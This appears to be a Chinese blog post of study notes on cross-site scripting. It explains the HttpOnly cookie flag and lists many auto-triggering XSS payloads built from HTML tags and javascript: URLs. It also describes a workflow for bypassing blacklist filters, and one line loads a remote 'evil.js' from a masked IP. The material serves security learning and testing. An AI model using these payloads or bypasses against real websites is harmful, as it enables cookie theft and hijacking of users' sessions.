XSS补充知识

一、http-only

1.会话cookie中缺少HttpOnly属性会导致攻击者可以通过程序(JS脚本、Applet等)获取到用户的cookie信息,造成用户cookie信息泄露,增加攻击者的跨站脚本攻击威胁。

 

2.HttpOnly是微软对cookie做的扩展,该值指定cookie是否可通过客户端脚本访问。Microsoft Internet Explorer 版本 6 Service Pack 1 和更高版本支持cookie属性HttpOnly。

 

3.如果在Cookie中没有设置HttpOnly属性为true,可能导致Cookie被窃取。窃取的Cookie可以包含标识站点用户的敏感信息,如ASP.NET会话ID或Forms身份验证票证,攻击者可以重播窃取的Cookie,以便伪装成用户或获取敏感信息,进行跨站脚本攻击等。

 

4.如果在Cookie中设置HttpOnly属性为true,兼容浏览器接收到HttpOnly cookie,那么客户端通过程序(JS脚本、Applet等)将无法读取到Cookie信息,这将有助于缓解跨站点脚本威胁。

 

二、XSS平台

XSS平台可以辅助安全测试人员对XSS相关的漏洞危害进行深入学习,了解XSS的危害重视XSS的危害,如果要说XSS可以做哪些事情,XSS可以做js能够做的所有事情。包括但不限于:窃取Cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息,IP地址等)等。

比如:https://xsshs.cn/

 

三、一些常用的标签与属性

下面列举的标签大部分是可以自动触发js代码的,不需要用户交互。

1、script标签

<script> 标签用于定义客户端脚本,比如 JavaScript。

<script>alert(1);</script>
<script>alert("xss");</script>

2、img 标签

<img> 标签定义 HTML 页面中的图像。

<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>

3、input 标签

<input> 标签规定了用户可以在其中输入数据的输入字段。

onfocus 事件在对象获得焦点时发生:

<input onfocus=alert(1);>

竞争焦点,从而触发onblur事件:

<input onblur=alert(1) autofocus><input autofocus>

input 标签的 autofocus 属性规定当页面加载时 <input> 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

<input onfocus="alert(1);" autofocus>

4、details 标签

<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:

<details ontoggle=alert(1);>

使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:

<details open ontoggle=alert(1);>

5、svg 标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。

<svg onload=alert(1);>

6、select 标签

<select> 标签用来创建下拉列表。

<select onfocus=alert(1)></select>

通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

<select onfocus=alert(1) autofocus>

7、iframe 标签

<iframe> 标签会创建包含另外一个文档的内联框架。

<iframe onload=alert(1);></iframe>

8、video 标签

<video> 标签定义视频,比如电影片段或其他视频流。

<video><source onerror=alert(1)>

9、audio 标签

<audio> 标签定义声音,比如音乐或其他音频流。

<audio src=x  onerror=alert(1);>

10、body 标签

<body> 标签定义文档的主体。

<body onload=alert(1);>

onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:

<body
onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

11、textarea 标签

<textarea> 标签定义一个多行的文本输入控件。

<textarea onfocus=alert(1); autofocus>

12、keygen 标签

<keygen autofocus onfocus=alert(1)> //仅限火狐

13、marquee 标签

<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以

14、isindex 标签

<isindex type=image src=1 onerror=alert(1)>//仅限于IE

15、利用 link 远程包含 JavaScript 文件

<link> 标签定义文档与外部资源的关系。在无CSP的情况下才可以使用:

<link rel=import href="http://47.xxx.xxx.72/evil.js">

 

四、利用 JavaScript 伪协议

javascript: 这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。

1、a 标签

<a href="javascript:alert(1);">xss</a>

2、iframe 标签

<iframe src=javascript:alert(1);></iframe>

3、img 标签

<img src=x onerror=alert(1)>
<img src=javascript:alert(1)>    //IE7以下

4、form 标签

<form action="Javascript:alert(1)"><input type=submit>

 

五、XSS测试流程思路

现实中,大多数的场所是用的黑名单来做XSS过滤器的,有三种方式绕过黑名单的测试:

1)暴力测试(输入大量的payload,看返回结果)

2)根据正则推算

3)利用浏览器bug

1、初步测试

1)尝试插入比较正常的HTML标签,例如:<a><b><i><u> 等,来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。

2)尝试插入不闭合的标签,例如:<a<bi>u><img 等,然后看一下返回响应,是否对开放的标签也有过滤。

3)然后测试几种常见的XSS向量:

<script>alert(1)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
......

看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了 alert、prompt、confirm 等字符,再尝试大小写的组合:

<scRiPt>alert(1);</scrIPt>

(4)如果过滤器仅仅是把 <script></script> 标签过滤掉,那么可以用双写的方式来绕过:

<scr<script>ipt>alert(1)</scr<script>ipt>

这样当 <script> 标签被过滤掉后,剩下的组合起来刚好形成一个完整的向量。

(5)用 <a href 标签来测试,看返回响应

<a href="http://www.baidu.com">click</a>

看看 <a 标签是否被过滤,href 是否被过滤,href里的数据是否被过滤了。如果没有数据被过滤,插入javascript伪协议看看:

<a href="javascript:alert(1)">click</a>

看是否返回错误,javascript的整个协议内容是否都被过滤掉,还是只过滤了javascript字符。

继续测试事件触发执行javascript:

<a href=x onmouseover=alert(1)>ClickHere</a>

看onmouseover事件是否被过滤。

测试一个无效的事件,看看他的过滤规则:

<a href=x onclimbatree=alert(1)>ClickHere</a>

是完整的返回了呢,还是跟onmouseover一样被干掉了。如果是完整的返回的话,那么就意味着,做了事件的黑名单,但是在HTML5中,有超过150种的方式来执行javascript代码的事件,我们可以选用别的事件。测试一个很少见的事件:

<body onhashchange=alert(1)><a href=#>click</a>

onhashchange 事件在当前 URL 的锚部分(以 '#' 号为开始) 发生改变时触发 。

2、测试其他标签和属性

HTML的标签和属性太多了,上文中已经列出了很多了。

 

六、XSS 攻击面拓展

1、通过XSS盗取cookie

....后续补充

2、Flash 弹窗钓鱼

.....其实是没看完~

 

附录

https://xz.aliyun.com/t/9606

 

posted @ 2021-09-26 08:35  kinyoobi  阅读(143)  评论(0编辑  收藏  举报